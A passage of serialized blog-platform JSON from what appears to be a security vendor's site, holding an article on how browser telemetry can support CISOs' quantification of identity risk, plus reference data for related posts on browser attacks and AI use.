represent a slightly separate category of identity attack that most risk models don't account for because they operate after the authentication flow has already completed — meaning password strength, MFA coverage, and SSO adoption are irrelevant to whether the attack succeeds. ",{"data":13922,"content":13926,"nodeType":996},{"target":13923},{"sys":13924},{"id":13925,"type":1001,"linkType":1002},"7qtHmxCzBm5664jD6HsCwN",[],{"data":13928,"content":13929,"nodeType":1005},{},[],{"data":13931,"content":13932,"nodeType":1009},{},[13933],{"data":13934,"marks":13935,"value":13937,"nodeType":864},{},[13936],{"type":899},"The key lesson for CISOs",{"data":13939,"content":13940,"nodeType":860},{},[13941],{"data":13942,"marks":13943,"value":13944,"nodeType":864},{},[],"A risk model that measures identity vulnerability purely in terms of authentication hygiene at the IdP layer — how many accounts have MFA, how many use SSO — will correctly quantify one dimension of exposure while completely missing another that is growing faster and is structurally immune to the controls being measured.",{"data":13946,"content":13947,"nodeType":860},{},[13948],{"data":13949,"marks":13950,"value":13952,"nodeType":864},{},[13951],{"type":899},"For a CISO building a risk model, these aren't edge cases. They represent a real attack surface that doesn't show up in models built on conventional network, endpoint, and cloud telemetry. We aren't just talking about better inputs to risk modeling — we're talking about entirely new risk scenarios that aren't being modeled at all, supported by live data.",{"data":13954,"content":13958,"nodeType":996},{"target":13955},{"sys":13956},{"id":13957,"type":1001,"linkType":1002},"2ObEcO1gqz8lrOLCZzfpNw",[],{"data":13960,"content":13961,"nodeType":1005},{},[],{"data":13963,"content":13964,"nodeType":1312},{},[13965],{"data":13966,"marks":13967,"value":13969,"nodeType":864},{},[13968],{"type":899},"Browser telemetry makes a CISO's life easier",{"data":13971,"content":13972,"nodeType":860},{},[13973],{"data":13974,"marks":13975,"value":13976,"nodeType":864},{},[],"Browser-based telemetry changes the conversation a CISO can have with a CFO or board. Instead of \"industry benchmarks suggest our expected annual loss from account compromise is somewhere in this range,\" the answer is, \"We can see how often these attacks are attempted against our users, and we can measure what percentage of our accounts have the controls in place to stop them,\" or \"We know how many shadow AI apps our users self-provision and share data with each month.\" ",{"data":13978,"content":13979,"nodeType":860},{},[13980],{"data":13981,"marks":13982,"value":13983,"nodeType":864},{},[],"Identity risk is only a piece of the quantification problem. Loss magnitude, regulatory exposure, and reputational impact are still extremely hard to estimate regardless of how good your frequency inputs are. ",{"data":13985,"content":13986,"nodeType":860},{},[13987],{"data":13988,"marks":13989,"value":13990,"nodeType":864},{},[],"But the identity attack surface is one of the few areas in security where measurement is genuinely achievable right now, and the gap between what most organizations are modeling and what's actually observable is significant. Shadow SaaS integrations, unapproved AI connections, browser extensions with excessive privileges — these are enumerable risks that don't appear in models built on network, endpoint, and cloud access telemetry alone. ",{"data":13992,"content":13993,"nodeType":860},{},[13994,13999],{"data":13995,"marks":13996,"value":13998,"nodeType":864},{},[13997],{"type":899},"The lesson for CISOs serious about quantitative risk management is this: the frameworks exist, the talent is available, and the bottleneck is almost always data quality. ",{"data":14000,"marks":14001,"value":14002,"nodeType":864},{},[],"Browser telemetry is a good example of the kind of high-fidelity, environment-specific measurement that closes that gap.",{"data":14004,"content":14005,"nodeType":1005},{},[],{"data":14007,"content":14008,"nodeType":860},{},[14009],{"data":14010,"marks":14011,"value":4855,"nodeType":864},{},[],{"data":14013,"content":14014,"nodeType":860},{},[14015,14019,14025],{"data":14016,"marks":14017,"value":14018,"nodeType":864},{},[],"Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see. ",{"data":14020,"content":14021,"nodeType":883},{"uri":12501},[14022],{"data":14023,"marks":14024,"value":8163,"nodeType":864},{},[],{"data":14026,"marks":14027,"value":2719,"nodeType":864},{},[],"The CISO's data problem (and how browser telemetry can help)","How CISOs can use browser telemetry to support cyber risk quantification in areas where traditional data points fall short. ","2026-05-11T00:00:00.000Z","the-cisos-data-problem-and-how-browser-telemetry-can-help",{"items":14033},[14034,14036],{"sys":14035,"name":2729},{"id":2728},{"sys":14037,"name":342},{"id":6596},{"items":14039},[14040],{"fullName":3621,"firstName":3622,"jobTitle":3623,"profilePicture":14041},{"url":3625},{"__typename":2059,"sys":14043,"content":14044,"title":8167,"synopsis":8168,"hashTags":59,"publishedDate":8169,"slug":8170,"tagsCollection":14682,"authorsCollection":14688},{"id":7411},{"json":14045},{"data":14046,"content":14047,"nodeType":856},{},[14048,14063,14068,14074,14080,14083,14090,14105,14120,14126,14131,14137,14142,14148,14155,14161,14176,14201,14206,14211,14218,14224,14239,14263,14288,14294,14299,14306,14312,14322,14328,14360,14365,14398,14429,14434,14437,14444,14450,14455,14461,14467,14472,14478,14484,14506,14509,14516,14522,14529,14535,14541,14557,14563,14568,14574,14581,14587,14602,14608,14623,14626,14633,14639,14645,14651,14654,14660,14666],{"data":14049,"content":14050,"nodeType":860},{},[14051,14054,14060],{"data":14052,"marks":14053,"value":7422,"nodeType":864},{},[],{"data":14055,"content":14056,"nodeType":883},{"uri":7425},[14057],{"data":14058,"marks":14059,"value":7430,"nodeType":864},{},[],{"data":14061,"marks":14062,"value":7434,"nodeType":864},{},[],{"data":14064,"content":14067,"nodeType":996},{"target":14065},{"sys":14066},{"id":7439,"type":1001,"linkType":1002},[],{"data":14069,"content":14070,"nodeType":860},{},[14071],{"data":14072,"marks":14073,"value":7447,"nodeType":864},{},[],{"data":14075,"content":14076,"nodeType":860},{},[14077],{"data":14078,"marks":14079,"value":7454,"nodeType":864},{},[],{"data":14081,"content":14082,"nodeType":1005},{},[],{"data":14084,"content":14085,"nodeType":1009},{},[14086],{"data":14087,"marks":14088,"value":7465,"nodeType":864},{},[14089],{"type":899},{"data":14091,"content":14092,"nodeType":860},{},[14093,14096,14102],{"data":14094,"marks":14095,"value":7472,"nodeType":864},{},[],{"data":14097,"content":14098,"nodeType":883},{"uri":7475},[14099],{"data":14100,"marks":14101,"value":7480,"nodeType":864},{},[],{"data":14103,"marks":14104,"value":7484,"nodeType":864},{},[],{"data":14106,"content":14107,"nodeType":860},{},[14108,14111,14117],{"data":14109,"marks":14110,"value":7491,"nodeType":864},{},[],{"data":14112,"content":14113,"nodeType":883},{"uri":7494},[14114],{"data":14115,"marks":14116,"value":7499,"nodeType":864},{},[],{"data":14118,"marks":14119,"value":7503,"nodeType":864},{},[],{"data":14121,"content":14122,"nodeType":860},{},[14123],{"data":14124,"marks":14125,"value":7510,"nodeType":864},{},[],{"data":14127,"content":14130,"nodeType":996},{"target":14128},{"sys":14129},{"id":7515,"type":1001,"linkType":1002},[],{"data":14132,"content":14133,"nodeType":860},{},[14134],{"data":14135,"marks":14136,"value":7523,"nodeType":864},{},[],{"data":14138,"content":14141,"nodeType":996},{"target":14139},{"sys":14140},{"id":7528,"type":1001,"linkType":1002},[],{"data":14143,"content":14144,"nodeType":860},{},[14145],{"data":14146,"marks":14147,"value":7536,"nodeType":864},{},[],{"data":14149,"content":14150,"nodeType":1312},{},[14151],{"data":14152,"marks":14153,"value":7544,"nodeType":864},{},[14154],{"type":899},{"data":14156,"content":14157,"nodeType":860},{},[14158],{"data":14159,"marks":14160,"value":7551,"nodeType":864},{},[],{"data":14162,"content":14163,"nodeType":860},{},[14164,14167,14173],{"data":14165,"marks":14166,"value":7558,"nodeType":864},{},[],{"data":14168,"content":14169,"nodeType":883},{"uri":7180},[14170],{"data":14171,"marks":14172,"value":7565,"nodeType":864},{},[],{"data":14174,"marks":14175,"value":7569,"nodeType":864},{},[],{"data":14177,"content":14178,"nodeType":860},{},[14179,14182,14189,14192,14198],{"data":14180,"marks":14181,"value":7576,"nodeType":864},{},[],{"data":14183,"content":14184,"nodeType":883},{"uri":5327},[14185],{"data":14186,"marks":14187,"value":7584,"nodeType":864},{},[14188],{"type":1455},{"data":14190,"marks":14191,"value":7588,"nodeType":864},{},[],{"data":14193,"content":14194,"nodeType":883},{"uri":7591},[14195],{"data":14196,"marks":14197,"value":7596,"nodeType":864},{},[],{"data":14199,"marks":14200,"value":7600,"nodeType":864},{},[],{"data":14202,"content":14205,"nodeType":996},{"target":14203},{"sys":14204},{"id":7605,"type":1001,"linkType":1002},[],{"data":14207,"content":14210,"nodeType":996},{"target":14208},{"sys":14209},{"id":7611,"type":1001,"linkType":1002},[],{"data":14212,"content":14213,"nodeType":1312},{},[14214],{"data":14215,"marks":14216,"value":7620,"nodeType":864},{},[14217],{"type":899},{"data":14219,"content":14220,"nodeType":860},{},[14221],{"data":14222,"marks":14223,"value":7627,"nodeType":864},{},[],{"data":14225,"content":14226,"nodeType":860},{},[14227,14230,14236],{"data":14228,"marks":14229,"value":7634,"nodeType":864},{},[],{"data":14231,"content":14232,"nodeType":883},{"uri":6543},[14233],{"data":14234,"marks":14235,"value":7641,"nodeType":864},{},[],{"data":14237,"marks":14238,"value":7645,"nodeType":864},{},[],{"data":14240,"content":14241,"nodeType":860},{},[14242,14245,14251,14254,14260],{"data":14243,"marks":14244,"value":7652,"nodeType":864},{},[],{"data":14246,"content":14247,"nodeType":883},{"uri":7655},[14248],{"data":14249,"marks":14250,"value":7660,"nodeType":864},{},[],{"data":14252,"marks":14253,"value":7664,"nodeType":864},{},[],{"data":14255,"content":14256,"nodeType":883},{"uri":3259},[14257],{"data":14258,"marks":14259,"value":7671,"nodeType":864},{},[],{"data":14261,"marks":14262,"value":7675,"nodeType":864},{},[],{"data":14264,"content":14265,"nodeType":860},{},[14266,14269,14275,14278,14285],{"data":14267,"marks":14268,"value":7682,"nodeType":864},{},[],{"data":14270,"content":14271,"nodeType":883},{"uri":7685},[14272],{"data":14273,"marks":14274,"value":7690,"nodeType":864},{},[],{"data":14276,"marks":14277,"value":7694,"nodeType":864},{},[],{"data":14279,"content":14280,"nodeType":883},{"uri":7697},[14281],{"data":14282,"marks":14283,"value":7703,"nodeType":864},{},[14284],{"type":1455},{"data":14286,"marks":14287,"value":7707,"nodeType":864},{},[],{"data":14289,"content":14290,"nodeType":860},{},[14291],{"data":14292,"marks":14293,"value":7714,"nodeType":864},{},[],{"data":14295,"content":14298,"nodeType":996},{"target":14296},{"sys":14297},{"id":7719,"type":1001,"linkType":1002},[],{"data":14300,"content":14301,"nodeType":1312},{},[14302],{"data":14303,"marks":14304,"value":7728,"nodeType":864},{},[14305],{"type":899},{"data":14307,"content":14308,"nodeType":860},{},[14309],{"data":14310,"marks":14311,"value":7735,"nodeType":864},{},[],{"data":14313,"content":14314,"nodeType":860},{},[14315,14319],{"data":14316,"marks":14317,"value":360,"nodeType":864},{},[14318],{"type":899},{"data":14320,"marks":14321,"value":7746,"nodeType":864},{},[],{"data":14323,"content":14324,"nodeType":860},{},[14325],{"data":14326,"marks":14327,"value":7753,"nodeType":864},{},[],{"data":14329,"content":14330,"nodeType":860},{},[14331,14334,14340,14343,14347,14350,14357],{"data":14332,"marks":14333,"value":7760,"nodeType":864},{},[],{"data":14335,"content":14336,"nodeType":883},{"uri":7763},[14337],{"data":14338,"marks":14339,"value":7768,"nodeType":864},{},[],{"data":14341,"marks":14342,"value":7772,"nodeType":864},{},[],{"data":14344,"marks":14345,"value":7777,"nodeType":864},{},[14346],{"type":899},{"data":14348,"marks":14349,"value":7781,"nodeType":864},{},[],{"data":14351,"content":14352,"nodeType":883},{"uri":4082},[14353],{"data":14354,"marks":14355,"value":7789,"nodeType":864},{},[14356],{"type":1455},{"data":14358,"marks":14359,"value":1774,"nodeType":864},{},[],{"data":14361,"content":14364,"nodeType":996},{"target":14362},{"sys":14363},{"id":7797,"type":1001,"linkType":1002},[],{"data":14366,"content":14367,"nodeType":860},{},[14368,14371,14375,14378,14385,14388,14395],{"data":14369,"marks":14370,"value":7805,"nodeType":864},{},[],{"data":14372,"marks":14373,"value":315,"nodeType":864},{},[14374],{"type":899},{"data":14376,"marks":14377,"value":7813,"nodeType":864},{},[],{"data":14379,"content":14380,"nodeType":883},{"uri":7816},[14381],{"data":14382,"marks":14383,"value":7822,"nodeType":864},{},[14384],{"type":1455},{"data":14386,"marks":14387,"value":7826,"nodeType":864},{},[],{"data":14389,"content":14390,"nodeType":883},{"uri":5971},[14391],{"data":14392,"marks":14393,"value":7834,"nodeType":864},{},[14394],{"type":1455},{"data":14396,"marks":14397,"value":7838,"nodeType":864},{},[],{"data":14399,"content":14400,"nodeType":860},{},[14401,14404,14408,14411,14417,14420,14426],{"data":14402,"marks":14403,"value":7845,"nodeType":864},{},[],{"data":14405,"marks":14406,"value":6041,"nodeType":864},{},[14407],{"type":899},{"data":14409,"marks":14410,"value":7853,"nodeType":864},{},[],{"data":14412,"content":14413,"nodeType":883},{"uri":6036},[14414],{"data":14415,"marks":14416,"value":7860,"nodeType":864},{},[],{"data":14418,"marks":14419,"value":7864,"nodeType":864},{},[],{"data":14421,"content":14422,"nodeType":883},{"uri":6075},[14423],{"data":14424,"marks":14425,"value":7871,"nodeType":864},{},[],{"data":14427,"marks":14428,"value":7875,"nodeType":864},{},[],{"data":14430,"content":14433,"nodeType":996},{"target":14431},{"sys":14432},{"id":7880,"type":1001,"linkType":1002},[],{"data":14435,"content":14436,"nodeType":1005},{},[],{"data":14438,"content":14439,"nodeType":1009},{},[14440],{"data":14441,"marks":14442,"value":7892,"nodeType":864},{},[14443],{"type":899},{"data":14445,"content":14446,"nodeType":860},{},[14447],{"data":14448,"marks":14449,"value":7899,"nodeType":864},{},[],{"data":14451,"content":14454,"nodeType":996},{"target":14452},{"sys":14453},{"id":7904,"type":1001,"linkType":1002},[],{"data":14456,"content":14457,"nodeType":860},{},[14458],{"data":14459,"marks":14460,"value":7912,"nodeType":864},{},[],{"data":14462,"content":14463,"nodeType":860},{},[14464],{"data":14465,"marks":14466,"value":7919,"nodeType":864},{},[],{"data":14468,"content":14471,"nodeType":996},{"target":14469},{"sys":14470},{"id":7924,"type":1001,"linkType":1002},[],{"data":14473,"content":14474,"nodeType":860},{},[14475],{"data":14476,"marks":14477,"value":7932,"nodeType":864},{},[],{"data":14479,"content":14480,"nodeType":860},{},[14481],{"data":14482,"marks":14483,"value":7939,"nodeType":864},{},[],{"data":14485,"content":14486,"nodeType":1116},{},[14487],{"data":14488,"content":14489,"nodeType":860},{},[14490,14493,14499,14502],{"data":14491,"marks":14492,"value":7949,"nodeType":864},{},[],{"data":14494,"content":14495,"nodeType":883},{"uri":7952},[14496],{"data":14497,"marks":14498,"value":7957,"nodeType":864},{},[],{"data":14500,"marks":14501,"value":7961,"nodeType":864},{},[],{"data":14503,"marks":14504,"value":7966,"nodeType":864},{},[14505],{"type":2246},{"data":14507,"content":14508,"nodeType":1005},{},[],{"data":14510,"content":14511,"nodeType":1009},{},[14512],{"data":14513,"marks":14514,"value":7977,"nodeType":864},{},[14515],{"type":899},{"data":14517,"content":14518,"nodeType":860},{},[14519],{"data":14520,"marks":14521,"value":7984,"nodeType":864},{},[],{"data":14523,"content":14524,"nodeType":1312},{},[14525],{"data":14526,"marks":14527,"value":7992,"nodeType":864},{},[14528],{"type":899},{"data":14530,"content":14531,"nodeType":860},{},[14532],{"data":14533,"marks":14534,"value":7999,"nodeType":864},{},[],{"data":14536,"content":14537,"nodeType":860},{},[14538],{"data":14539,"marks":14540,"value":8006,"nodeType":864},{},[],{"data":14542,"content":14543,"nodeType":860},{},[14544,14547,14554],{"data":14545,"marks":14546,"value":8013,"nodeType":864},{},[],{"data":14548,"content":14549,"nodeType":883},{"uri":6543},[14550],{"data":14551,"marks":14552,"value":8021,"nodeType":864},{},[14553],{"type":1455},{"data":14555,"marks":14556,"value":8025,"nodeType":864},{},[],{"data":14558,"content":14559,"nodeType":860},{},[14560],{"data":14561,"marks":14562,"value":8032,"nodeType":864},{},[],{"data":14564,"content":14567,"nodeType":996},{"target":14565},{"sys":14566},{"id":8037,"type":1001,"linkType":1002},[],{"data":14569,"content":14570,"nodeType":860},{},[14571],{"data":14572,"marks":14573,"value":8045,"nodeType":864},{},[],{"data":14575,"content":14576,"nodeType":1312},{},[14577],{"data":14578,"marks":14579,"value":8053,"nodeType":864},{},[14580],{"type":899},{"data":14582,"content":14583,"nodeType":860},{},[14584],{"data":14585,"marks":14586,"value":8060,"nodeType":864},{},[],{"data":14588,"content":14589,"nodeType":860},{},[14590,14593,14599],{"data":14591,"marks":14592,"value":8067,"nodeType":864},{},[],{"data":14594,"content":14595,"nodeType":883},{"uri":7180},[14596],{"data":14597,"marks":14598,"value":7185,"nodeType":864},{},[],{"data":14600,"marks":14601,"value":8077,"nodeType":864},{},[],{"data":14603,"content":14604,"nodeType":860},{},[14605],{"data":14606,"marks":14607,"value":8084,"nodeType":864},{},[],{"data":14609,"content":14610,"nodeType":860},{},[14611,14614,14620],{"data":14612,"marks":14613,"value":8091,"nodeType":864},{},[],{"data":14615,"content":14616,"nodeType":883},{"uri":6024},[14617],{"data":14618,"marks":14619,"value":8098,"nodeType":864},{},[],{"data":14621,"marks":14622,"value":8102,"nodeType":864},{},[],{"data":14624,"content":14625,"nodeType":1005},{},[],{"data":14627,"content":14628,"nodeType":1009},{},[14629],{"data":14630,"marks":14631,"value":8113,"nodeType":864},{},[14632],{"type":899},{"data":14634,"content":14635,"nodeType":860},{},[14636],{"data":14637,"marks":14638,"value":8120,"nodeType":864},{},[],{"data":14640,"content":14641,"nodeType":860},{},[14642],{"data":14643,"marks":14644,"value":8127,"nodeType":864},{},[],{"data":14646,"content":14647,"nodeType":860},{},[14648],{"data":14649,"marks":14650,"value":8134,"nodeType":864},{},[],{"data":14652,"content":14653,"nodeType":1005},{},[],{"data":14655,"content":14656,"nodeType":860},{},[14657],{"data":14658,"marks":14659,"value":1682,"nodeType":864},{},[],{"data":14661,"content":14662,"nodeType":860},{},[14663],{"data":14664,"marks":14665,"value":1689,"nodeType":864},{},[],{"data":14667,"content":14668,"nodeType":860},{},[14669,14672,14679],{"data":14670,"marks":14671,"value":21,"nodeType":864},{},[],{"data":14673,"content":14674,"nodeType":883},{"uri":1700},[14675],{"data":14676,"marks":14677,"value":8163,"nodeType":864},{},[14678],{"type":1455},{"data":14680,"marks":14681,"value":2719,"nodeType":864},{},[],{"items":14683},[14684,14686],{"sys":14685,"name":342},{"id":6596},{"sys":14687,"name":6593},{"id":6592},{"items":14689},[14690],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":14691},{"url":2740},"why-modern-browser-attacks-evade-edr","blog/why-modern-browser-attacks-evade-edr",{"json":14695},{"data":14696,"content":14697,"nodeType":856},{},[14698],{"data":14699,"content":14700,"nodeType":860},{},[14701],{"data":14702,"marks":14703,"value":14704,"nodeType":864},{},[],"This article explains why the gap between what EDR sees and what happens inside the browser is exactly where attackers have built their playbook, and what it takes to close it.","This article explains the gap between what EDR sees and what happens inside the browser, and what it takes to close it.",{"id":14707,"publishedAt":14708},"3qMmscyEh3T1Mbf8qXQHmd","2026-08-12T12:00:46.858Z",{"items":14710},[14711,14713],{"sys":14712,"name":6593},{"id":6592},{"sys":14714,"name":297},{"id":2732},{"items":14716},[14717,14719,14721,14723,14725,14727,14729,14731,14733,14735,14737,14739,14741,14743,14745],{"sys":14718,"name":279,"slug":280,"tier":31},{"id":276},{"sys":14720,"name":297,"slug":298,"tier":31},{"id":294},{"sys":14722,"name":342,"slug":343,"tier":31},{"id":339},{"sys":14724,"name":413,"slug":414,"tier":31},{"id":410},{"sys":14726,"name":377,"slug":378,"tier":45},{"id":374},{"sys":14728,"name":261,"slug":262,"tier":45},{"id":258},{"sys":14730,"name":571,"slug":572,"tier":45},{"id":568},{"sys":14732,"name":315,"slug":316,"tier":45},{"id":312},{"sys":14734,"name":511,"slug":512,"tier":45},{"id":508},{"sys":14736,"name":360,"slug":361,"tier":45},{"id":357},{"sys":14738,"name":324,"slug":325,"tier":45},{"id":321},{"sys":14740,"name":475,"slug":476,"tier":45},{"id":472},{"sys":14742,"name":484,"slug":485,"tier":45},{"id":481},{"sys":14744,"name":244,"slug":245,"tier":45},{"id":241},{"sys":14746,"name":422,"slug":423,"tier":45},{"id":419},"tohekhxoD8wEmdq6HhALjxFwORVgBY5wCOC_F3fg4ag",{"id":14749,"title":13507,"authorsCollection":14750,"content":14754,"extension":228,"faqItemsCollection":15714,"faqTitle":59,"featured":6,"hashTags":59,"meta":15716,"metaTitle":15717,"ogImage":59,"postType":8776,"publishedDate":10555,"relatedBlogPostsCollection":15718,"slug":13509,"stem":17624,"subtitle":17625,"summary":17626,"synopsis":13508,"sys":17636,"tagsCollection":17638,"topicsCollection":17644,"__hash__":17684},"blog/blog/why-you-cant-control-ai-without-being-in-the-browser.json",{"items":14751},[14752],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":14753},{"url":853},{"json":14755,"links":15542},{"data":14756,"content":14757,"nodeType":856},{},[14758,14764,14770,14787,14793,14799,14802,14809,14815,14821,14842,14848,14854,14859,14862,14869,14875,14880,14886,14893,14919,14934,14939,14946,14952,14957,14973,14980,14986,15011,15016,15029,15032,15039,15045,15050,15064,15070,15076,15086,15102,15108,15114,15121,15127,15143,15148,15154,15159,15164,15167,15174,15180,15186,15241,15247,15253,15259,15265,15278,15284,15290,15296,15302,15308,15314,15320,15326,15332,15338,15344,15350,15356,15359,15366,15372,15382,15388,15394,15400,15406,15512,15518,15523,15526],{"data":14759,"content":14760,"nodeType":860},{},[14761],{"data":14762,"marks":14763,"value":12603,"nodeType":864},{},[],{"data":14765,"content":14766,"nodeType":860},{},[14767],{"data":14768,"marks":14769,"value":12610,"nodeType":864},{},[],{"data":14771,"content":14772,"nodeType":860},{},[14773,14777,14780,14784],{"data":14774,"marks":14775,"value":12618,"nodeType":864},{},[14776],{"type":899},{"data":14778,"marks":14779,"value":12622,"nodeType":864},{},[],{"data":14781,"marks":14782,"value":12627,"nodeType":864},{},[14783],{"type":2246},{"data":14785,"marks":14786,"value":12631,"nodeType":864},{},[],{"data":14788,"content":14789,"nodeType":860},{},[14790],{"data":14791,"marks":14792,"value":12638,"nodeType":864},{},[],{"data":14794,"content":14795,"nodeType":860},{},[14796],{"data":14797,"marks":14798,"value":12645,"nodeType":864},{},[],{"data":14800,"content":14801,"nodeType":1005},{},[],{"data":14803,"content":14804,"nodeType":1009},{},[14805],{"data":14806,"marks":14807,"value":12656,"nodeType":864},{},[14808],{"type":899},{"data":14810,"content":14811,"nodeType":860},{},[14812],{"data":14813,"marks":14814,"value":12663,"nodeType":864},{},[],{"data":14816,"content":14817,"nodeType":860},{},[14818],{"data":14819,"marks":14820,"value":12670,"nodeType":864},{},[],{"data":14822,"content":14823,"nodeType":941},{},[14824,14833],{"data":14825,"content":14826,"nodeType":945},{},[14827],{"data":14828,"content":14829,"nodeType":860},{},[14830],{"data":14831,"marks":14832,"value":12683,"nodeType":864},{},[],{"data":14834,"content":14835,"nodeType":945},{},[14836],{"data":14837,"content":14838,"nodeType":860},{},[14839],{"data":14840,"marks":14841,"value":12693,"nodeType":864},{},[],{"data":14843,"content":14844,"nodeType":860},{},[14845],{"data":14846,"marks":14847,"value":12700,"nodeType":864},{},[],{"data":14849,"content":14850,"nodeType":860},{},[14851],{"data":14852,"marks":14853,"value":12707,"nodeType":864},{},[],{"data":14855,"content":14858,"nodeType":996},{"target":14856},{"sys":14857},{"id":12712,"type":1001,"linkType":1002},[],{"data":14860,"content":14861,"nodeType":1005},{},[],{"data":14863,"content":14864,"nodeType":1009},{},[14865],{"data":14866,"marks":14867,"value":12724,"nodeType":864},{},[14868],{"type":899},{"data":14870,"content":14871,"nodeType":860},{},[14872],{"data":14873,"marks":14874,"value":12731,"nodeType":864},{},[],{"data":14876,"content":14879,"nodeType":996},{"target":14877},{"sys":14878},{"id":12736,"type":1001,"linkType":1002},[],{"data":14881,"content":14882,"nodeType":860},{},[14883],{"data":14884,"marks":14885,"value":12744,"nodeType":864},{},[],{"data":14887,"content":14888,"nodeType":1312},{},[14889],{"data":14890,"marks":14891,"value":12752,"nodeType":864},{},[14892],{"type":899},{"data":14894,"content":14895,"nodeType":860},{},[14896,14899,14906,14909,14916],{"data":14897,"marks":14898,"value":12759,"nodeType":864},{},[],{"data":14900,"content":14901,"nodeType":883},{"uri":6075},[14902],{"data":14903,"marks":14904,"value":12767,"nodeType":864},{},[14905],{"type":1455},{"data":14907,"marks":14908,"value":12771,"nodeType":864},{},[],{"data":14910,"content":14911,"nodeType":883},{"uri":3259},[14912],{"data":14913,"marks":14914,"value":12779,"nodeType":864},{},[14915],{"type":1455},{"data":14917,"marks":14918,"value":12783,"nodeType":864},{},[],{"data":14920,"content":14921,"nodeType":860},{},[14922,14925,14931],{"data":14923,"marks":14924,"value":12790,"nodeType":864},{},[],{"data":14926,"content":14927,"nodeType":883},{"uri":12793},[14928],{"data":14929,"marks":14930,"value":12798,"nodeType":864},{},[],{"data":14932,"marks":14933,"value":12802,"nodeType":864},{},[],{"data":14935,"content":14938,"nodeType":996},{"target":14936},{"sys":14937},{"id":12807,"type":1001,"linkType":1002},[],{"data":14940,"content":14941,"nodeType":1312},{},[14942],{"data":14943,"marks":14944,"value":12816,"nodeType":864},{},[14945],{"type":899},{"data":14947,"content":14948,"nodeType":860},{},[14949],{"data":14950,"marks":14951,"value":12823,"nodeType":864},{},[],{"data":14953,"content":14956,"nodeType":996},{"target":14954},{"sys":14955},{"id":12828,"type":1001,"linkType":1002},[],{"data":14958,"content":14959,"nodeType":860},{},[14960,14963,14970],{"data":14961,"marks":14962,"value":12836,"nodeType":864},{},[],{"data":14964,"content":14965,"nodeType":883},{"uri":7591},[14966],{"data":14967,"marks":14968,"value":7596,"nodeType":864},{},[14969],{"type":1455},{"data":14971,"marks":14972,"value":12847,"nodeType":864},{},[],{"data":14974,"content":14975,"nodeType":1312},{},[14976],{"data":14977,"marks":14978,"value":12855,"nodeType":864},{},[14979],{"type":899},{"data":14981,"content":14982,"nodeType":860},{},[14983],{"data":14984,"marks":14985,"value":12862,"nodeType":864},{},[],{"data":14987,"content":14988,"nodeType":860},{},[14989,14992,14999,15002,15008],{"data":14990,"marks":14991,"value":12869,"nodeType":864},{},[],{"data":14993,"content":14994,"nodeType":883},{"uri":12872},[14995],{"data":14996,"marks":14997,"value":12878,"nodeType":864},{},[14998],{"type":1455},{"data":15000,"marks":15001,"value":12882,"nodeType":864},{},[],{"data":15003,"content":15004,"nodeType":883},{"uri":5327},[15005],{"data":15006,"marks":15007,"value":1555,"nodeType":864},{},[],{"data":15009,"marks":15010,"value":12892,"nodeType":864},{},[],{"data":15012,"content":15015,"nodeType":996},{"target":15013},{"sys":15014},{"id":12897,"type":1001,"linkType":1002},[],{"data":15017,"content":15018,"nodeType":860},{},[15019,15022,15026],{"data":15020,"marks":15021,"value":12905,"nodeType":864},{},[],{"data":15023,"marks":15024,"value":12910,"nodeType":864},{},[15025],{"type":899},{"data":15027,"marks":15028,"value":2924,"nodeType":864},{},[],{"data":15030,"content":15031,"nodeType":1005},{},[],{"data":15033,"content":15034,"nodeType":1009},{},[15035],{"data":15036,"marks":15037,"value":12924,"nodeType":864},{},[15038],{"type":899},{"data":15040,"content":15041,"nodeType":860},{},[15042],{"data":15043,"marks":15044,"value":12931,"nodeType":864},{},[],{"data":15046,"content":15049,"nodeType":996},{"target":15047},{"sys":15048},{"id":1040,"type":1001,"linkType":1002},[],{"data":15051,"content":15052,"nodeType":1312},{},[15053,15057,15060],{"data":15054,"marks":15055,"value":12944,"nodeType":864},{},[15056],{"type":899},{"data":15058,"marks":15059,"value":1171,"nodeType":864},{},[],{"data":15061,"marks":15062,"value":12952,"nodeType":864},{},[15063],{"type":899},{"data":15065,"content":15066,"nodeType":860},{},[15067],{"data":15068,"marks":15069,"value":12959,"nodeType":864},{},[],{"data":15071,"content":15072,"nodeType":860},{},[15073],{"data":15074,"marks":15075,"value":12966,"nodeType":864},{},[],{"data":15077,"content":15078,"nodeType":1312},{},[15079,15083],{"data":15080,"marks":15081,"value":12974,"nodeType":864},{},[15082],{"type":899},{"data":15084,"marks":15085,"value":12978,"nodeType":864},{},[],{"data":15087,"content":15088,"nodeType":860},{},[15089,15092,15099],{"data":15090,"marks":15091,"value":12985,"nodeType":864},{},[],{"data":15093,"content":15094,"nodeType":883},{"uri":8429},[15095],{"data":15096,"marks":15097,"value":12993,"nodeType":864},{},[15098],{"type":1455},{"data":15100,"marks":15101,"value":12997,"nodeType":864},{},[],{"data":15103,"content":15104,"nodeType":860},{},[15105],{"data":15106,"marks":15107,"value":13004,"nodeType":864},{},[],{"data":15109,"content":15110,"nodeType":860},{},[15111],{"data":15112,"marks":15113,"value":13011,"nodeType":864},{},[],{"data":15115,"content":15116,"nodeType":1312},{},[15117],{"data":15118,"marks":15119,"value":13019,"nodeType":864},{},[15120],{"type":899},{"data":15122,"content":15123,"nodeType":860},{},[15124],{"data":15125,"marks":15126,"value":13026,"nodeType":864},{},[],{"data":15128,"content":15129,"nodeType":860},{},[15130,15133,15140],{"data":15131,"marks":15132,"value":2761,"nodeType":864},{},[],{"data":15134,"content":15135,"nodeType":883},{"uri":4103},[15136],{"data":15137,"marks":15138,"value":13040,"nodeType":864},{},[15139],{"type":1455},{"data":15141,"marks":15142,"value":13044,"nodeType":864},{},[],{"data":15144,"content":15147,"nodeType":996},{"target":15145},{"sys":15146},{"id":13049,"type":1001,"linkType":1002},[],{"data":15149,"content":15150,"nodeType":860},{},[15151],{"data":15152,"marks":15153,"value":13057,"nodeType":864},{},[],{"data":15155,"content":15158,"nodeType":996},{"target":15156},{"sys":15157},{"id":13062,"type":1001,"linkType":1002},[],{"data":15160,"content":15163,"nodeType":996},{"target":15161},{"sys":15162},{"id":13068,"type":1001,"linkType":1002},[],{"data":15165,"content":15166,"nodeType":1005},{},[],{"data":15168,"content":15169,"nodeType":1009},{},[15170],{"data":15171,"marks":15172,"value":13080,"nodeType":864},{},[15173],{"type":899},{"data":15175,"content":15